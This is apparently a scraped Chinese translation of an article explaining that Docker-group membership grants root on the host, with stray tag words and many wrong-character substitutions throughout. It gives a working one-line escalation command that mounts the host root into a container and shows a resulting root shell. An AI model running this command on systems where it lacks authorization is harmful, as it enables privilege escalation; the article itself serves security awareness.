Docker 安全:经过 Docker 提高权限

本文翻译自 Privilege Escalation via Docker,目的在于提醒你们注意安全性。本文中全部的内容总结成一句话:某个用户被加入了 docker 用户组,那么这个用户至关于直接得到了宿主机免认证的 root 权限。html

文章太长不要看,一句话,不要用 docker 用户组。git

若是你对 Docker 不熟悉的话,简单来讲,Docker 是一个轻量级的应用容器。和常见的虚拟机相似,可是和虚拟机相比,资源消耗更低。而且,使用和 GitHub 相似的被 commit 的容器,很是容易就能实现容器内指定运行环境中的应用打包和部署。github

问题

若是你有服务器上一个普通用户的帐号,若是这个用户被加入了 docker 用户组,那么你很容易就能得到宿主机的 root 权限。docker

黑魔法:shell

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

输出以下:segmentfault

johndoe@testmachine:~$ docker run -v /:/hostOS -i -t chrisfosterelli/rootplease
[...]
You should now have a root shell on the host OS
Press Ctrl-D to exit the docker instance / shell
# whoami
root #此处是容器内部,可是容器已经 chroot /hostOS,因此至关于直接获取了宿主机的 root 权限。
#

译者一直觉得是 Ctrl-D 以后,宿主机的 shell 变成 root,实际上不是。
咨询了做者 Chris Foster 得知,是在容器内得到宿主机的 root 权限。
是否是想起了之前译者在 Docker 安全 中提到的容器内部的 UID=0 对容器外部某个不明程序执行了 chmod +s安全

解释

固然,全部的解释汇成一句话,应该就是:docker 组内用户执行命令的时候会自动在全部命令前添加 sudo。由于设计或者其余的缘由,Docker 给予全部 docker 组的用户至关大的权力(虽然权力只体如今能访问 /var/run/docker.sock 上面)。服务器

默认状况下,Docker 软件包是会默认添加一个 docker 用户组的。Docker 守护进程会容许 root 用户和 docker 组用户访问 Docker。给用户提供 Docker 权限和给用户无需认证即可以随便获取的 root 权限差异不大。架构

解决方案

对于 Docker 来讲可能很难修复,由于涉及到他们的架构问题,因此须要重写很是多的关键代码才能避免这个问题。我我的的建议是不要使用 docker 用户组。固然,Docker 官方文档中最好也很清楚地写明这一点。不要让新人不懂得“和 root 权限差异不大”是什么意思。scala

Docker 官方也意识到了这个问题,尽管他们并无很明显地代表想去修复它。在他们的安全文档中,他们也的确表示 docker 用户组的权限和 root 权限差异不大,而且敬告用户慎重使用。

漏洞详情

上面那条命令 docker run -v /:/hostOS -i -t chrisfosterelli/rootplease,主要的做用是:从 Docker Hub 上面下载个人镜像,而后运行。参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS,而且使用 -i-t 参数进入容器的 shell

这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),而后获取到宿主机的 root 权限。

固然能够从这个衍生出很是多的提权方法,可是这个方法是最直接的。

本文中所提到的代码托管在 Github,镜像在 Docker Hub

相关文章
相关标签/搜索